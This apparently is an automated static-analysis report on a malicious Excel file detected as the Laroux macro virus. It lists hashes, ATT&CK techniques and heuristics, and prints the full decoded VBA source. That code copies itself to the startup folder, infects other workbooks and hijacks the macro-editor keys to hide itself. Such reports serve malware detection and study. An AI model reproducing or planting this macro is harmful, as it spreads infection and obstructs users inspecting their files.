Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4517febe703f5c0c…

MALICIOUS

Office (OLE)

31.0 KB First seen: 2015-10-03
MD5: c87849cb9f478cf0f8c8bae95db23ab7 SHA-1: 4680709b47b1881d2e8fdf4ba0dbd4bb16b3d38d SHA-256: 4517febe703f5c0c06094f8a4080819c76f7d4efa67d8b0b3a8e3135be91ea27
88 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains VBA macros, specifically an Auto_Open subroutine, which is a common technique for executing malicious code upon opening a document. The script attempts to copy itself to the user's startup folder as 'StartUp.xls' to achieve persistence. It also manipulates application event handlers to potentially hide its activity or execute further commands. The ClamAV detection 'Doc.Macro.Laroux-5893719-0' further supports the malicious nature of this macro-laden document.

Heuristics 3

  • ClamAV: Doc.Macro.Laroux-5893719-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Laroux-5893719-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1606 bytes
SHA-256: 79b21a7c777209cbed010937c211fa50ce8f1a7a563e8469017a43761e814fcd
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
Sub cop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub
Sub escape()
On Error Resume Next
Application.OnSheetActivate = "StartUp.xls!back"
Application.OnKey "%{F11}"
Application.OnKey "%{F8}"
Application.SendKeys "%{F11}"
Application.SendKeys "%{F8}"
For Each book In Workbooks
Application.DisplayAlerts = False
If book <> "StartUp.xls" Then book.Sheets("StartUp").Delete
Next
For Each book In Workbooks
If book.Name = "StartUp.xls" Then
book.Close
End If
Next
End Sub
Sub back()
On Error Resume Next
Application.OnKey "%{F8}", "StartUp.xls!escape"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!cop"
Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub

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